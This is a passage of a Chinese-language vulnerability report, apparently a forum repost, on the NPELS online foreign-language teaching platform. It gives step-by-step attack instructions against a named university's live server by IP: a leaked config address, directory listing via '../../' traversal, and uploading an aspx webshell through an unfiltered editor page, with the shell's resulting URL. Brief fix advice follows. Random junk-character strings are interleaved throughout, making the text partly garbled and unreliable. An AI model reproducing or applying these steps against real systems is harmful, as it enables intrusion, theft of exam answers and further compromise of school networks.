新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
: Z& |6 i. ^$ y( L$ |
! Y9 Z% W& B+ }! m7 s2 s! X详细说明：
2 c. v" R3 ?: c  f/ O7 ]
以南开大学的为例:
4 F; s$ p* t: b5 g9 Fhttp://222.30.60.3/NPELS
" L7 `$ P0 d- q3 DNPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
3 }9 m7 y* i1 A4 m. q) f) v<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
4 `8 a9 h. m, u  i8 Y$ a</setting>
4 Z6 `2 o/ ^) o, r# ?- H及版本号
! @% d, I+ Z# _3 B- y$ N<add key="TVersion" value="1, 0, 0, 2187">
. M* r! z$ _3 e  f0 P/ p</add>
直接访问
http://222.30.60.3/NPELS/CommonService.asmx
# e0 J% [5 h) n5 ^使用GetTestClientFileList操作，直接 HTTP GET 列目录：
- E, L' G1 q4 v. e2 }http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
8 M+ j. y( E4 a* ]3 S6 d- |$ S进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
! X1 o% F0 \# a/ ]& t
' j4 {6 h+ T! p: @9 l发现
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
- G% {( F& v3 [  K+ E; _8 C, X可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
+ v' U! e8 R: S5 n+ [8 `) w+ i0 O上传后继续列目录找到木马地址直接访问即可

7 w. F0 l+ J  {OOXX

Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
7 ~0 d: g+ e4 v* P3 o8 F2 K漏洞证明：

列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
http://222.30.60.3/npelsv/editor/editor.htm

上传木马：
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx

修复方案：
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
$ H. N& Z8 D- d' k